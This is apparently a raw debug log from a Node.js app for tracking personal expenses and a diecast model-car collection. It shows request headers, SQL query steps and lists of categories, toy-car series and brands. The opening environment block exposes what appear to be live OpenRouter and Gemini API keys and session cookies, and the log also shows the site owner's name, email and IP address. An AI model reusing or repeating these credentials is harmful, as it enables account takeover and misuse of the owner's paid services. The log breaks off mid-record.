  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"15212-wYlMczzBK3Ab/en8CLs6W1ku/g8"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"15212-wYlMczzBK3Ab/en8CLs6W1ku/g8"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast'
}
2026-02-04T06:34:12.155Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-04T06:34:12.158Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-04T06:34:12.160Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T06:34:12.160Z server-connect:app Executing action step identify
2026-02-04T06:34:12.160Z server-connect:app options: { provider: 'security' }
2026-02-04T06:34:12.160Z server-connect:output identity: 1
2026-02-04T06:34:12.160Z server-connect:app Executing action step restrict
2026-02-04T06:34:12.160Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:34:12.162Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T06:34:12.163Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T06:34:12.163Z server-connect:app Executing action step identify
2026-02-04T06:34:12.163Z server-connect:app options: { provider: 'security' }
2026-02-04T06:34:12.163Z server-connect:output identity: 1
2026-02-04T06:34:12.163Z server-connect:app Executing action step restrict
2026-02-04T06:34:12.163Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:34:12.163Z server-connect:output restrict: undefined
2026-02-04T06:34:12.163Z server-connect:app Executing action step select
2026-02-04T06:34:12.163Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-04T06:34:12.164Z server-connect:app Executing action step identify
2026-02-04T06:34:12.164Z server-connect:app options: { provider: 'security' }
2026-02-04T06:34:12.164Z server-connect:output identity: 1
2026-02-04T06:34:12.164Z server-connect:app Executing action step restrict
2026-02-04T06:34:12.164Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:34:12.165Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T06:34:12.165Z server-connect:app Executing action step identify
2026-02-04T06:34:12.165Z server-connect:app options: { provider: 'security' }
2026-02-04T06:34:12.165Z server-connect:output identity: 1
2026-02-04T06:34:12.165Z server-connect:app Executing action step restrict
2026-02-04T06:34:12.165Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:34:12.165Z server-connect:output restrict: undefined
2026-02-04T06:34:12.165Z server-connect:app Executing action step single
2026-02-04T06:34:12.165Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-04T06:34:12.166Z server-connect:app Executing action step identify
2026-02-04T06:34:12.166Z server-connect:app options: { provider: 'security' }
2026-02-04T06:34:12.166Z server-connect:output identity: 1
2026-02-04T06:34:12.166Z server-connect:app Executing action step restrict
2026-02-04T06:34:12.166Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:34:12.167Z server-connect:output restrict: undefined
2026-02-04T06:34:12.167Z server-connect:app Executing action step select
2026-02-04T06:34:12.167Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T06:34:12.167Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-04T06:34:12.168Z server-connect:output restrict: undefined
2026-02-04T06:34:12.168Z server-connect:app Executing action step select
2026-02-04T06:34:12.168Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T06:34:12.168Z server-connect:app Executing action step identify
2026-02-04T06:34:12.168Z server-connect:app options: { provider: 'security' }
2026-02-04T06:34:12.168Z server-connect:output identity: 1
2026-02-04T06:34:12.168Z server-connect:app Executing action step restrict
2026-02-04T06:34:12.168Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:34:12.169Z server-connect:output restrict: undefined
2026-02-04T06:34:12.169Z server-connect:app Executing action step paged
2026-02-04T06:34:12.169Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T06:34:12.170Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-04T06:34:12.172Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 }
]
2026-02-04T06:34:12.173Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-04T06:34:12.173Z server-connect:output restrict: undefined
2026-02-04T06:34:12.173Z server-connect:app Executing action step select
2026-02-04T06:34:12.173Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T06:34:12.176Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes-Benz', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 }
]
2026-02-04T06:34:12.176Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-04T06:34:12.177Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 134,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 125 },
    current: 1,
    total: 6
  },
  data: [
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 150,
      model_name: 'Dodge Charge',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-15T18:30:00.000Z',
      price: '199.00',
      brand: 'Jams Toys',
      series: 'Mainline',
      brand_id: 191,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 149,
      model_name: "Fish'd & Chip'd",
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Spider Man',
      vehicle_brand_id: 183,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 148,
      model_name: '92 Jeep Wrangler Sahara',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-22T18:30:00.000Z',
      price: '545.00',
      brand: 'Hotwheels',
      series: 'HW Pop Culture',
      brand_id: 71,
      series_id: 181,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 147,
      model_name: 'Nissan Fairlady Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Pantone',
      brand_id: 71,
      series_id: 180,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 146,
      model_name: 'Lucid Air',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'D',
      vehicle_brand_name: 'Lucid',
      vehicle_brand_id: 184,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 145,
      model_name: 'Lotus Cortina',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Euro',
      brand_id: 71,
      series_id: 179,
      case: 'D',
      vehicle_brand_name: 'Lotus',
      vehicle_brand_id: 185,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
